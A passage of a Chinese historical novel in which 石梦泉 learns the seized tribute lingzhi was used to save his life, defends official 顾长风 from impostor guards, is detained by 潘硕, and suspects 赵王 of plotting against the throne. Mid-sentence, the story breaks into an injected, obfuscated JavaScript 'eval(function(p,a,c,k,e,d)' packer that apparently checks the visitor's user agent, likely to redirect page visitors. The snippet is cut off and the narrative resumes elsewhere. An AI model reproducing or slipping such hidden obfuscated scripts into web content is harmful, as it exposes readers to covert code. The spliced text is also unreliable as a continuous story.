蓝沧说到自己此来目的是为了给庆澜帝祝寿。西瑶地处偏远,仰慕中原地方地大物博,中原文化精深无比,所以才不远千里来到西京。 石梦泉只觉这条理由有些奇怪:仰慕中原文化,那应该到楚国去才对。西瑶原本向楚国称臣,在三十年前,才丢掉了“镇南王”的封号,脱离楚国而独立。那时楚樾之争已然开始,楚国忙着遏止北境樾国的扩张,根本没心思管南方小国的事情。不过,西瑶脱离楚国也只是形式,据说岁贡还是从来不少,楚国后来也就懒得计较这些了。 现在不是关心他们真实来意的时候,石梦泉只想知道关于那灵芝的事。 蓝沧大约做使臣也久了,最懂得察言观色揣测别人的意图,看石梦泉一直沉默不语,即轻轻一笑,道:“石将军突然造访,蓝某怎会不知你的来意?这万年灵芝乃是我西瑶皇帝送给你们樾国皇帝的礼物,而惊雷大将军她不问自取,分明就是没把我们西瑶皇帝放在眼里,也没把你们樾国皇帝放在眼里。这种事情,岂能容忍?” 石梦泉也没有天真地指望过事情可迎刃而解,道:“蓝大人误会了。在下前来并不是为玉将军辩解求情的。在下只是想知道玉将军怎么会不问自取了贵国的贡品。” 蓝沧愣了愣。他后面年轻的随从答道:“既然是不问自取,我们怎会知道来龙去脉?我们大人将此灵芝暂时寄放在一间商铺中,本来是想若国内另送一支更好的灵芝来,这株就可不用。谁知因为贵国和楚国在大青河交战,水上通路封锁,我们国内的灵芝没能送得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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悦敏道:“如此甚好。在下已备齐车驾,尊使请——”说时,将蓝沧让出了门外,又和石梦泉低声匆匆地道:“石兄弟也是为贡品之事来的吧?这就交给父王和我来处理。石兄弟还是先去劝顾侍郎的好。” 石梦泉知道自己来到四海阁有违前夜赵王的计划嘱托,仿佛是不信任人家似的——不错,他是有怀疑,但是,另结梁子总不好。因道:“我本也是要去,恰巧路过,就来看看。” “哦?”悦敏笑着,“是这样?我还以为石兄弟你能未卜先知呢——晓得我那磨人的妹妹要去找你,就故意不上顾侍郎家去。” 石梦泉一愕:愉郡主去找他? 悦敏笑道:“我这妹妹的脾气就像是西京夏日的天气,一时是晴空万里,一时又打雷闪电。她昨天晚上发了火,还没到二更天就后悔啦,说自己不该明知道你对惊雷大将军忠心,还说人家的坏话,非要来跟你道歉哩。我母妃可是直念阿弥陀佛,教了这么多年三从四德,终于记住了一样。” 石梦泉真不知要如何解释才好。 悦敏道:“这丫头估计真上顾侍郎家守株待兔去了。要是撞不见你,谁知她会不会在人家家里翻天?这倒还是其次……”悦敏又压低了声音:“听说顾侍郎联合了青窑、瑞津等地的地方官,要联名参玉将军乱征民夫,强用商船。要是这份折子递了上去,玉将军就更麻烦了。” 可不是!石梦泉焦急万分:顾长风是个心系百姓疾苦的人,玉旒云是个为了夺取胜利不惜牺牲眼前利益的人,两人政见不同,摩擦是难免。然而顾长风一向就事论事,对事不对人。似这样找了同僚联名上疏,完全要整垮玉旒云的架势,似乎不是他的作风啊! 悦敏拍拍他:“不必过虑。惊雷将军这次一定有惊无险——她若有事,你肯定又‘无心儿女之事’,那我妹妹可就嫁不出了。就为这个,我们赵王府也会全力以赴。”说罢,不待石梦泉回答,出门去了。 要去见泰和号的掌柜。但现在必须去见顾长风,石梦泉想,不过,若单单登门请人谅解玉旒云在前线的种种非常措施,只会无功而返。他要让顾长风知道,玉旒云的心里并非没有百姓。两人的龃龉从“治蝗”一事开始。那么,就让顾长风知道南方七郡治蝗的真相吧! 当时玉旒云翻遍典籍,对古代蝗蝻之害作了一篇札记,让石梦泉带去南方,若见到可补充的,就请他批注在旁。石梦泉北归之后,先是为了楚国细作之事,接着又准备远征,这篇札记还一直未交给玉旒云,此时倒正可拿出来给顾长风看看。 他打定主意,就先策马回府去取这本小册子。不料才一进门,就撞到了林枢,面无表情地专等着他呢! “将军,是把脉吃药的时间了。” 石梦泉哪儿有那个工夫,含混地应了一声,径自往书房去。岂料林枢的动作快如鬼魅,一把就朝他的脉门抓来。 在瑞津吃够了被点穴扎针的苦头,石梦泉赶忙闪身避让。 不料林枢竟然也是会家子,一招不中,又出第二招。变抓为削,掌缘如刀,劲风几乎刺得石梦泉睁不开眼睛。 好家伙!他心里暗惊,这大夫怎如此厉害?是了,听说他是“百草门”的传人,江湖绿林中人,会些武功也不稀奇。他们的招式变化多端,果然和我们行伍中的不同。 思念间,双方又攻守了几个回合。 林枢凌厉,石梦泉稳重,本来也不见得就能分出高下。不过,石梦泉急着去找顾长风,何有功夫在此纠缠。不由恼怒道:“林大夫,你究竟要怎样?” 林枢道:“不要怎样。我方才已说了,该是把脉吃药的时间了。我受人之托,忠人之事。” 石梦泉从未见过做事这样一板一眼不知变通的人:“我若是病没好,怎么和大夫拆了这么些招?” 林枢冷冷:“医家言‘望闻问切’。非得把过了脉才能确认。将军若有急事,还是先让在下把脉。莫要自己浪费时间。” “你——”石梦泉恼火异常,但如此下去,总不是办法。因道:“好,就让你把脉——” 他才收了招,林枢已“呼”起欺身上前,搭上了他的脉门,出手之准,甚至可以用毒辣来形容。 石梦泉愤愤地瞪着他。 林枢依然面无表情,站了片刻,自语道:“看脉象倒是全好了。” 石梦泉被这大夫摆布的也久了,实在没有好语气:“既然全好了,请大夫不要阻拦我办正事。” 林枢道:“将军岂不知‘磨刀不误砍柴功’么?将军在府里有什么事要办,尽管去办。出门前不要忘记在下还有一帖灵芝茶,喝完了再走。这是最后一帖了。将军喝过,在下也该告辞了。” 虽然对自己有救命之恩,但这种焦头烂额的时刻,石梦泉还真有点“忘恩负义”地希望这大夫早走早好。他当下并不理会,只自顾自到书房寻找玉旒云的札记。未花多大功夫便得着了,一本百多页的册子,其实只有前边十数页是玉旒云的笔记,后面都是石梦泉从顾长风那里听来的方略,有许多都是对前文玉旒云所提问题的解答。如此呼应着,越发显出当初南下是玉旒云布置了任务,石梦泉按照命令执行——顾长风应该会因此改变对玉旒云的成见吧! 他拿着复要出门,见下人已端了药碗来,谓林大夫吩咐,请务必喝完再走。 石梦泉接过来,倒有些担心这是林枢为了把他留在家里继续休养而炮制的什么让人动弹不得的药,因此并不喝。看托盘上另有一个小盒,便问:“这是什么?” 下人道:“林大夫说,玉将军当时给了一株千年人参一棵万年灵芝,都未用完。他如今使命已完,不贪图小利,剩下的依旧奉还玉将军。” 石梦泉“恩”了一声,把碗放下:“你且跟林大夫讲,我喝过了。”说时,仍旧出门去,可才跨过门槛,心里便如电光火石般一闪:万年灵芝! 他豁地转身看着那下人:“你说什么?万年灵芝?” 那下人一怔:“啊,啊,是。林大夫是这么说的。” 见鬼!见鬼!他心里咒骂着。 “林大夫人呢?” “正……正要走……” 石梦泉不待他说完,一把抓起那盒子,三步并作两步追了出去。林枢才刚刚走到门厅里,背着包袱,挎着药箱子,正是要离去的架势。 “大夫留步!”石梦泉唤道,“这灵芝……这灵芝可是从西瑶来的贡品?” 林枢漠然地看了他一眼:“这个,在下怎么晓得?在下当时只不过是叫玉将军拿千年人参万年灵芝来保住将军的命。至于玉将军从何处得来,这就不是在下可过问的了。” 石梦泉觉得自己心里仿佛刹那有千军万马奔腾而过,把千般情绪、万种感受齐齐激发在一处:这事……这事……这事…… 他朝外走了几步,又退回来,转了个身,又转回去。真真痛恨自己——到头来原是我累了她! 不过,既然是这样,那就更好向皇上解释了! 当即对林枢道:“林大夫,你且不要走。要用灵芝来治我的病,这事,我想请你作的见证。” 林枢道:“怎讲?” 石梦泉想一时半会儿也说不清楚,要向皇上解释,首先得要得到皇上的召见才是。樾国制度,每月初五、十五、廿五上朝。如今四月廿五已过,五月初五尚早,皇上有心回避他,他也没有别的办法……这当儿,不如先抓紧功夫,把顾长风那头说通。即道:“总之,请林大夫稍住几日,事后一定重谢。” 说完,他将那札记往怀里一揣,一壁吩咐下人们好生招待林枢,一壁大步朝门外走。不过还没出门口,又转了回来——那送药的下人恰好追到门厅来了。石梦泉便走上前去,端起药碗一饮而尽——灵芝茶么?这是玉旒云付出了怎样的代价才得来的?他向林枢一亮碗底:“大夫妙手回春,大恩不言谢。请大夫务必留下!”说罢走出门,打马朝顾长风家去。 途中又经过玉旒云的府邸,和前日一样,禁卫森严,他忍不住勒马望了望。深吸了一口气,又要上路。这时,就听人唤道:“将军稍等!”见蒋文一径跑了上来。 “什么事?”他问。 蒋文四下里张了张,道:“卑职昨天悄悄进去见了玉将军,把你回京的消息跟她说了。” “啊!”石梦泉连忙跃下马来,凑近了问道:“玉将军有什么指示?” 蒋文道:“玉将军问,你身体怎样。我回说你看起来气色很好。玉将军就说‘那很好’。” “她……”她只说了这三个字?石梦泉心里先是一热,仿佛又回到病重时的梦境,玉旒云将手放在自己的胸口。一种难以言语的欢喜——不不合时宜的吧?他随即收拾起心绪来,问道:“玉将军未说有什么事要交代我办么?” 蒋文摇摇头,又点点头:“玉将军叫你替她好好看看应春花,自己保重身体,别的什么也不用担心。” “这……”石梦泉知道玉旒云是一个眼里从来看不到失败看不到危险的人,哪怕只有万分之一的赢面,她也只看到胜利,只想着去取得那胜利——攻打梁城时是如此,被困落雁谷时亦是如此。无论怎样的困难,她都踌躇满志地去面对,最终那些艰难险阻也都会被她击溃。可这一次,情形不必以往——她手里并没有重兵,甚至失去了自由,一向可为她说话的皇后娘娘似乎失去了宠爱,更不要说皇上改变了袒护的态度……在这种时候,她是真的依旧看到胜利,还是只用这话来宽慰石梦泉呢? 不论是前者还是后者,石梦泉握紧了马缰绳,玉旒云不能输,他不会允许这样的事情发生! “请你转告玉将军。”他对蒋文道,“我一定会替她看应春花的。”说到最后一个字时,他已然翻身上马,鞭子一扬,疾驰而去。 这时候,街道两旁的应春花已隐隐有了凋零之势,粉红玉白,零星散落。他的马跑得急了,有几片花瓣就撞到了他的怀里。他顺手攥住一片,紧紧押在胸口—— 如果可以,他想,如果可以,我不要替你看花,我想和你一起看花。不,若能换得你平安无事,哪怕我看不到这花又如何? 27. 第 27 章 远远的还未到顾长风家门口,石梦泉就看到人头攒动,更听到吵嚷之声。他先暗想,若是愉郡主不知天高地厚的来闹事,未免动静也太大了些,待走到了近前看,却哪里是愉郡主?全都是武装齐备的禁军。配刀出了鞘,在太阳下亮闪闪直晃人的眼睛。 石梦泉不禁一愕:怎么,顾长风莫非也犯了什么事被禁军围了府邸? 正纳闷,那群禁军已有人发现了他,高声叫道:“看,是石将军来了!我就说石将军一定会来的!”霎时整群人都围了上来,七嘴八舌地道:“石将军,这事欺人太甚。咱们可不能就这样让这群穷酸书生给踩在头上。” 石梦泉莫名其妙,朝人群那头看看,见顾长风的家门口一停青帘轿子被拦住了,顾长风就在轿门口,进也不是退也不是,满面愠色。 他抬手叫那些禁军将士静一静:“你们到底在做什么?” 一人道:“将军,我们可都是在玉将军身边呆过的。玉将军是怎样的人,我们还能不知道么?我们就看不惯姓顾的小题大做落井下石!” 旁人也都纷纷附和:“打仗嘛,玉将军要不知道取舍,婆婆妈妈的,怎么能及时赶到前线?怎么能挫败楚人的阴谋呢?姓顾的懂什么!他要针对玉将军,咱们就是不干!”一时群情激愤,有人挥着拳头朝顾长风直嚷嚷。而顾长风只是瞪着他们,又冷冷地扫了石梦泉一眼,仿佛是说:原来你也是个不明事理的家伙! 石梦泉本是来解开误会的,哪料到会遇上这一群激动的旧部,可不是越帮越忙么?他连忙喝止:“大家不要冲动,这跟顾侍郎没有关系!” 可是离他较远的那些人根本就不听,有人已照着顾长风的轿夫就踹了过去,另有人拳头乱挥,顷刻间,四个轿夫都满地打滚求饶。 有人咋呼道:“姓顾的,你要不去皇上面前承认你诬陷玉将军,咱们可就不客气了!老子们的拳头可不认识你是几品官,身子骨硬不硬朗,逮着了就要往死里打!” 顾长风是出了名的硬脖子,岂会受人威胁,袖子一甩,眼一瞪,道:“随你们。顾某就不信,天子脚下还能没了王法!” 那些禁军士兵似乎是气急了,还当真劈手来打。石梦泉疾呼道:“不可!”话音未落,人已从马上一跃而起,直扑到圈内,一把将顾长风护到身后,同时伸手格开了那士兵的胳膊,道:“玉将军向日叫你们寻衅闹事,胡乱打人的么?” 那士兵愕了愕。石梦泉见他甚是眼生——虽然不是玉旒云的每一个旧部他都熟悉,但是他自己也做过御前的侍卫,这些禁军里的至少都见过面,偏偏这个却一点儿印象也没有。他心里不禁一凛,再看左右,那士兵们也没一个面熟的。 莫非有诡计?阴冷冷的感觉刹那袭向他。还未及多想,只听顾长风“啊”地呼了一声,回身看时,正有一柄钢刀朝顾长风兜头砍去。石梦泉不禁骇异,急忙将身挡在顾长风之前,向那行凶之人当胸一拳,将他打得一个趔趄,跟着夺下了刀来,横在跟前。 “你们这是做什么?造反了么?” 被打那人踉跄了几步:“石将军,我们不是造反。我们是看不惯这书生信口开河污蔑玉将军。我们就把他杀了,出了事,左右就由我们担着。将军你闪开,不要掺乎进来!” 岂有此理!石梦泉护着顾长风朝后退:“顾侍郎,我保你到门口,你冲进去关上门,不要理会外面。” “哼!”顾长风冷冷的,并不甚领情,“你算是玉旒云的部下,顾某可不想令你难做。他们要把顾某怎样,顾某就等着。倒看看她玉旒云还能猖狂到几时!” 石梦泉真是焦急万分:和顾长风的误会可不知要如何才能解开。这要是顾长风有个三长两短,玉旒云岂不更加麻烦了?到底这些禁军是怎么打算的?若有人煽动他们,究竟是什么人? 思念间,又有几名禁军先后攻了上来——的确都无意伤害石梦泉,个个都想逼开石梦泉取顾长风的性命。石梦泉愈斗心下愈是蹊跷,愈是觉得这些人不是玉旒云的旧部,来这里闹事也决不是为了顾长风参劾玉旒云之故…… 如此纠缠下去不是长久之计,他想,不如先带了顾侍郎离开此地!因把刀一挥,逼退了近前的几个禁军,一拉顾长风的胳膊,道:“顾侍郎,得罪了!”便发力一纵,跃离了战团。 外围还有好些禁军在推推搡搡。有人似乎还要挤进去找顾长风的麻烦,而有人则道:“石将军说的没错,玉将军向日不是这样教训我们的。我们如此草率行事,只会给她添麻烦!”结果禁军中自己也争斗了起来。 石梦泉实在无暇顾及这些,在人肩膀上一路踏了过去,要跃回自己的马上。 可偏偏这时候,见路上“啪啪啪”步伐整齐又来了一队士兵,瞧服色就知是步军营九门提督的人马。再一细看,那领队而来的可不就是巡捕中营的督尉潘硕么?想来是有人将这边的骚乱报告了衙门吧! 转瞬,九门提督的部众就到了跟前,迅速地围成一个圈子,将骚乱的禁军包围在内。 “京畿重地,岂容尔等聚众械斗?”潘硕满面寒霜,“还不把兵器都放下了?否则,我可不留情面!” 那禁军们方住了手,但面上满是不服,有人还叫道:“潘大人,玉将军向日也提携过你——要不是她,你今日也坐不上九门提督的位子。如今她被奸人陷害,你怎不出来说句话?” 原来盘说已经升了官,石梦泉倒还不晓得。 潘硕正色道:“玉将军提携过本官,但本官是为皇上效力的。皇上交给本官的任务就是保证京畿安全与秩序,你们公然在顾侍郎府前闹事伤人,本官就不能袖手——来啊,全部都给我押下!” “什么?你这不明摆着胳膊肘朝外弯么?”有禁军士兵嚷嚷着,“老子就认玉将军!老子就觉得这事皇上办得不公平!你们谁敢动老子?脑袋掉了不过碗大的疤!” 他这样一带头,又有一些已放下兵器的被激了起来,跟着吵吵道:“就是!潘硕你这忘恩负义的家伙,虽然你官做得大,那又如何?咱们可不像你!” 步军营的人看这架势是要动上手了,纷纷拔出了兵刃。 “住手!”石梦泉怒喝道,“你们谁自称是玉将军的旧部?素来她不在的时候,是不是由我石某人来替她指挥?全都给我放下兵器,不许生事!哪一个不听的,就不是玉将军的人。在此冒充她的部下,给她抹黑,究竟是何居心?” 此言一出,禁军兵士们都不禁怔了怔。说时迟,那时快,步军营一拥而上,已将外围的人缴了械。里圈有几个虽然还有反抗的念头,但旁边人都放下兵器,他们也只好作罢。没一刻功夫,所有滋事的禁军全数被九门提督的人马押下,捆起双手,用绳子穿成一长串——向日禁军在宫中当差,走出来也是威风八面,和步军难免有些嫌隙。这时步军兵士可算找着了出气的机会。 石梦泉望着步军兵士将闹事禁军押往九门提督衙门,心中暗想:这下,玉将军的麻烦恐怕更大了吧? 而这时,就听潘硕道:“怎么,石将军还打算挟持顾侍郎到几时?” 石梦泉一愣:可不是,顾长风还在自己的马上呢!因笑道:“倒是我糊涂了。冒犯顾侍郎……”说着,将顾长风扶下了马。 他感觉有两个步军士兵逼得自己很近,诧异地转脸望了望。 潘硕挥挥手:“用不着你们动手。石将军,也请你跟我回衙门一趟吧。” “我?”石梦泉一诧。 潘硕道:“禁军闹事是为了玉将军。方才石将军自己不也说玉将军不在时,由你发号施令么?” “你莫不是以为我叫他们来闹事?”石梦泉语气中不免有了怒意。 顾长风替他辩解:“跟石将军应该无甚关系。” 然而潘硕不为所动:“究竟有没有人怂恿他们来寻衅,是谁,我且不知道。不过这里除了他们和石将军外,就只有顾大人。顾大人总不会找人来打自己吧?既然我已把禁军都押走了,若不请石将军也到提督衙门来一趟,那就失之公允。九门提督衙门不做那种有头没尾不像样的事。” 此话不可辩驳。石梦泉锁着眉头:自己才到顾长风家门口,这边就闹起事来,而没闹多一刻,潘硕就带着人来了。一切都不早不晚卡得将将好。世上岂有这么巧的事?且这些所谓的“旧部”中竟有这么多生面孔!不过,潘硕应该不会也被什么人买通了吧? 他看了这人一眼,面容是坦荡的。 这时候还有别的选择么?某个人的阴谋已将他算计在内,若那人也买通了潘硕,则此一去是身陷囹圄无法再营救玉旒云,而不去,欲加之罪何患无辞?他恐怕只会麻烦更大。到时候就不是单单“请”去九门提督衙门这么简单了! 他向潘硕伸出了双手:“潘大人,如此,我跟你走一趟。” 潘硕愕了愕:“不,绳子就不用了。将军请。” 滋事的禁军都关进了大牢,潘硕没有这样对石梦泉。还真如他所说的,只是“请”石梦泉在衙门的一间房里坐着,甚至还上了茶来。不过门口派了十几个人把守。石梦泉暗想,我若真要冲出去,他们如何能拦得住我?不过,我正要留在这里,把事情的前因后果都打探打探! 想着,潘硕自己进来了。带上门,向石梦泉顿首道:“得罪之处,将军见谅。” 石梦泉未答他,且听他的下文。 潘硕道:“石将军定然觉得事有蹊跷。下官万分为难,不得以才出此下策。” 九门提督和将军都是从一品的武官,潘硕却自称下官,这显然不是对着石梦泉,而是对着他的上司玉旒云了。 石梦泉问道:“什么蹊跷?” “从头到尾,整件事。”潘硕道——原来上午即有一位禁军士兵来报告,说同僚们要上顾长风家闹事,潘硕当时就派了一队人马赶了过去,除了看到愉郡主从顾家出来,可什么也没见到。潘硕也不便责备报信的人,嘱咐他回去,有消息再来通报,自己则让人在顾长风家附近监视着。然而直到中午也什么都没发生,他便让步军都撤了回来。不想,连凳子也还没坐热,那禁军士兵又匆匆地跑了来,说同僚们已经上顾家去了,还是石梦泉带的队。潘硕大惊,不信石梦泉能做出此等事情。怀疑这若非针对他九门提督的恶作剧,那就是存心陷害玉、石二人。无论前者还是后者,他都不等袖手不理。于是带了人前来,正好看到顾家门前的闹剧。 “下官以为,他们就是要把石将军牵扯进去——”潘硕道,“估摸他们原计划早晨就上顾家生事,但石将军却未去。所以专等到方才石将军去见顾侍郎时才行动。同时又来通知下官……” 石梦泉早也有这样的怀疑了:“那些滋事的禁军,没几个是面熟的。” 潘硕道:“石将军要去见顾侍郎,这事有什么人知道么?” 还有什么人?就是赵王和悦敏啊!去找顾长风说情,还是赵王的主意。而石梦泉自作主张先进宫面圣,又接着去了四海阁,肯定打乱了赵王的计划吧?难怪悦敏在四海阁里要特地提醒他到顾家来!石梦泉捏紧了拳头:这么说,果然是赵王企图对玉旒云不利,故意把西瑶使者也接走了,以防他寻出旁的出路! 潘硕见他面色铁青:“石将军?” 石梦泉只是把拳头握得更紧了:现在要如何是好?谁可相信?谁不可相信?这一个朝廷,竟然找不到一个盟友。 潘硕道:“石将军你怀疑谁,不妨直说。下官要进宫面圣,把这奸佞揪出来。还你和玉将军一个清白。” 没有证据。石梦泉不答话,赵王这样的势力,此番计划又甚周详,而且愉郡主的事恐怕在亲贵女眷中早传开了,现在京中谁不晓得石梦泉是赵王爷未来的成龙快婿?赵王会陷害他?谁信? “石将军!”潘硕急了,“在京畿重地持械威胁朝廷命官,这是大罪!何况参加的都是禁军兵士,又有人指你是领头的。到时候他们一齐咬住你不放,你如何脱得了身?说不准那奸人还要污蔑你背后主使的是玉将军——那时你再把怀疑说出来,下官也帮不了你了!” 正是如此。石梦泉想,但此刻说出来,万一叫赵王知晓自己已洞悉他的阴谋,他改变计划,那岂不又全无头绪?倒不如装傻充愣,引他们上当,露出马脚? 这一计议,他即对潘硕道:“潘大人,你不用多说了。人正怎怕影子斜?这事我没有做过,玉将军更没有指使过,我就不信谁还能硬栽到我们头上。你要秉公执法,就把我也一并押进大牢好了。” 潘硕一怔:“你……你这是……” 还未说下去,只听外面一人大声嚷嚷道:“为什么不让我进去?是赵王爷的令牌大,还是你大?”正是愉郡主的声音。 士兵想是极力阻拦,愉郡主恼火了:“你们敢挡本郡主的路,本郡主叫你们掉脑袋!” 那士兵只得求救:“潘大人,您看这……” 潘硕望了石梦泉一眼。 石梦泉笑笑:“潘大人还不把我押进牢里,恐怕郡主要把这里给掀了。” 潘硕“哼”了一声:“九门提督衙门还结实得很,不会因为一个人或者一面令牌就塌了。石将军在这里稍坐,下官去看看就来。”因出了门去。 石梦泉在内坐着听。他知道潘硕并不是一个十分聪敏的人,然而铁面无私,行事中规中矩有时竟到了刻板的地步。愉郡主虽然能四处发号施令,但是遇到了潘硕应该得不着任何甜头。 果然,任这刁蛮小姐在外如何大发雷霆,潘硕竟亲自挡着门口一步不让:“石将军涉嫌劫持朝廷命官,此事未查清楚之前不能走出九门提督衙门半步。慢说是郡主你来,就是赵王爷亲自来了,下官也恕难从命。” 愉郡主气得直跳脚:“不就是顾长风么?本郡主今天早晨还去找了他呢,你们怎么不把本郡主也抓起来呀?那些闹事的都是玉旒云手下的人,和石梦泉又有什么关系了?” 潘硕丝毫不为所动:“郡主怎么做是郡主的事。至于石将军,下官已说了,便是赵王爷来了,也不能放人。” 愉郡主的脾气,估计这时要抬起脚来照着潘硕踢过去。石梦泉想,待她闹得急了,就求她传个话,叫赵王爷来相救,饲机套套赵王的话。虽然这样未免有些卑鄙,这个少女应是无辜的……但是…… 他狠下了心,起身朝门口走。却听一人道:“呵,果真是老夫来了也不放人么?好个铁面潘硕,担得起你这绰号!”赵王竟已经到了。 石梦泉静听动静。 潘硕自然参见赵王。四下里又有“参见永泽公”的声音,可见悦敏也跟着来了。 赵王让大家都免礼,向潘硕道:“石梦泉将军是老夫欣赏的一位年轻人。现在这些小辈里难得有他这般稳重的。顾侍郎府邸前聚众闹事的事,老夫也听说了。这决不可能是石将军的所为。” 潘硕道:“下官也不相信是石将军的所为,但是石将军一日未脱嫌疑,一日就不能离开我九门提督衙门。皇上让下官办事要按照规矩,不可徇私,所以就算是王爷您未来的女婿,小官也不能坏了法纪。” 愉郡主气鼓鼓的,大骂“木头”。赵王喝止了女儿:“潘提督忠于皇上,办事一丝不苟,叫人不能不佩服。老夫也相信清者自清,石将军未做过这下作之事,皇上定然不会冤枉他。不过老夫想跟石将军说两句话,潘大人总不会连这点面子也不给老夫吧?” 潘硕没有立刻就答应。 悦敏在一边道:“虽然我父王宝刀未老,但总不至于在潘大人的重兵保护之下将石兄弟劫了出去,潘大人还有什么不放心的?大不了,我和小愉兄妹俩给你做个人质,总好了吧?” 不知赵王有什么诡计?石梦泉想,这是个刺探的大好时机! 他当下道:“潘大人,就请通融这一次。待赵王爷同我说完话,我愿跟你下大牢去。” 听到“大牢”两个字,愉郡主先不愿意了,嘟着嘴:“父王……” 悦敏拉住她:“不要多事。父王自然有法子。” 都等着潘硕发话呢。他犹豫了一下,才道:“好吧。就让王爷进去跟石将军见一面。永泽公和郡主请在外面等着。”说罢,没有给愉郡主再次表示不满的机会,迅速给闪身让赵王通过,又自金刚似的挡在了门前。 石梦泉听到门“吱呀”一响,急忙收藏起任何可能显露自己怀疑之心的表情,恭恭敬敬地向赵王行下礼去。 赵王道:“也不要麻烦这么多。你同我老实讲一句,这事,不是你做的吧?” 石梦泉心中真真暗自好笑:倒晓得贼喊捉贼呢!“确实不是卑职所为。卑职没有这么大的胆子,也没有这么糊涂。做这种事,只会拖累玉将军。而王爷既然答应施以援手,我做如此愚蠢之事,不也就拖累了王爷么?” 赵王皱没眉,微微点了点头:“我也就想不会是你做的。那么就一定是他了……唉,这就有些麻烦了!” 石梦泉看他分明是卖关子,就问道:“王爷,您知道是谁要陷害玉将军和卑职?” 赵王朝身后看了看,仿佛生恐有人在门外偷听,接着凑进了,压低声音道:“皇上。” 石梦泉一愣——这倒不用装,是真的惊讶。赵王随便编派谁不好,非要说皇上?皇上若要针对玉旒云,何必还费这些周章? 赵王道:“你不要以为老夫信口开河。你年纪轻,大概把‘功高震主’这四个字当成笑谈。我老实告诉你,杀功臣的帝王多得去了,可不是太史令编出来的。” 石梦泉不语。 赵王道:“其实昨夜你来我府中时我已想同你说,但顾念你跟在惊雷将军身边多年,而她又是皇亲,恐怕你不信。而且,老夫那时也并没有确凿的证据。但今日连你也被囚禁了,可就不能不给你提个醒。” 石梦泉摇头道:“王爷,您一定是误会了。虽然皇上现在是不像从前那样宠爱皇后娘娘,但是皇后娘娘总还是六宫之主,玉将军怎么说也是皇上自家人。她对皇上忠心耿耿,皇上对她信赖有加,哪儿来什么功高震主的道理?以卑职之见,一定是另有奸佞。” 赵王道:“皇后的事原来你也知道了,不过,你自己在玉将军身边这么久,难道你也认为玉将军为皇上所重用是为着她和皇后娘娘的关系吗?” 当然不是,石梦泉无须回答,别人也许口里会这样说,或者真有一部分人心中也如此误会,但大多数人都眼睛都看到,玉旒云的胆识,玉旒云的才华,朝中鲜有能及者。她是凭着她的本领走到今日。 赵王道:“皇上因为一个人能帮助他才重用一个人。假如这人现在对他有威胁了,他还不趁着有机会就除之而后快?” 石梦泉暗道:皇上温和平易,并不会胡乱猜忌旁人,如今看来,这次处罚玉旒云,越看就越像是赵王在背后捣鬼的。不知他是何用意? 他假作吃惊道:“这……王爷不可开这样的玩笑!” 赵王道:“不错,老夫这话的确说的有些大逆不道。不过,你不是外人,老夫自然也就不必跟你拐弯抹角。当今圣上是老夫的侄子,虽然不能说是我看着他长大的,但是倚老卖老地说一句,老夫对他的了解当然比你们这些年轻人要多得多。圣上并不是你们所想象的弥勒佛一样的老好人。一个那样的人是不会坐在皇帝的宝座上的。” 那便如何?你是想取而代之么?玉旒云当初果然没有料错。石梦泉静等着他继续说下去。 赵王道:“惊雷和将军和你都是年轻一辈中难得的人才。老夫看不得这种飞鸟尽良弓藏的事——何况现在飞鸟还没有尽呢,刚被楚人侥幸占了便宜,竟不思报仇雪恨,只顾着勾心斗角,国家将来还有何希望?我这做叔叔的,是时候出来教教侄子了。” 你所谓“教”,是如何?石梦泉不想问。联系前后的细节,他猜测赵王的意图,恐怕并不是要加害玉旒云,而是想拉拢他二人替自己效力,篡夺皇位——赵王自己在北境有重兵,而玉旒云和石梦泉的人马都驻扎在南方,如此遥相呼应,当真造起反来,西京立刻就会沦陷。他大概也知道有玉朝雾皇后在一日,玉旒云就不会对庆澜帝不利。据此一想,那突然献上的蛮族公主,大约也是他的杰作。想这样挑拨玉旒云和庆澜帝的关系——这计划,也实在环环相扣,够狠毒的! 还好,现在被他识穿了!石梦泉暗自庆幸:不过,皇上被这些阴谋左右,万一不小心顺了赵王的意,掉进陷阱之中,岂不麻烦?他心里又焦急得紧。但转念一想,既然赵王的目的是拉拢他和玉旒云,应该早就想好了救出玉旒云的方法,他只消等玉旒云平安无事,就将此事告诉她知晓……想到这里,心中又是一闪:以玉旒云的聪明,难道还猜不出这背后的种种?她不是说叫我好好休养什么事也不用理么?莫非是早就成竹在胸,只等着设局的人去把这局解开? 不由一阵狂喜。不过,依然不可大意。他锁着眉头问赵王道:“王爷,您的意思是……卑职现在心中一团乱麻,实在要如何是好?” 赵王拍拍他的肩膀:“你放心。这事由老夫揽下来了,天塌下来了,我也给你们扛着。这里不是长谈之地,老夫这就进宫面圣,你不要心焦。老夫同你保证,过不得两日,你和惊雷将军就会好端端地在我王府喝酒了。” 石梦泉心中冷笑,面上却不动声色,道:“一切就拜托王爷了!” 赵王又再次拍了拍他的胳膊,退出了门外。 愉郡主可早就等得不耐烦了:“父王,您现在就去叫皇上把他放出来吗?” 赵王不答她,跟潘硕拱了拱手:“多谢潘提督通融。请潘提督一定不要为难石将军,就算给老夫几分薄面吧。” 潘硕沉默着,算是答应了。赵王和和一双儿女退出了九门提督衙门。 愉郡主还焦急地不停在问:“父王,您是不是立刻就进宫去呀?” 赵王拈着胡须:“要进宫,不过不是为父,而是你。” “我?”愉郡主瞪着眼睛,“父王,您和哥哥不是成天骂我就会胡闹么?现在这么大的事儿,叫我去跟皇上说……您要我跟皇上怎么说呀?” “哟!”悦敏在旁笑道,“原来你也知道自己就会胡闹。不想我妹妹还有这种自知之明!” 愉郡主没心儿跟哥哥斗嘴,望和父亲寻求答案。 赵王道:“哪个叫你进宫见皇上了?我叫你去见皇后娘娘。求她在皇上面前说句话,还石梦泉一个清白。” 愉郡主的眼睛瞪得更圆了:“见皇后娘娘干什么?不是说后宫不干政吗?而且,母妃好像说皇后娘娘失宠了……她说话还有用吗?” 赵王道:“你有那么多的姨娘,难道你母妃说句话父王会不听?你只管进宫去求皇后娘娘。再说了,父王几时说不去见皇上?叫你自己去求皇后娘娘可是有用意的。” “什么用意?”愉郡主不解。 赵王看了看女儿,笑道:“你是皇室女子,婚姻大事若能有皇后娘娘的懿旨,那是多大的面子?你为了石梦泉不惜追上前线,如今再为了他去求皇后娘娘,你看皇后娘娘能不嘉许你的心意么?” 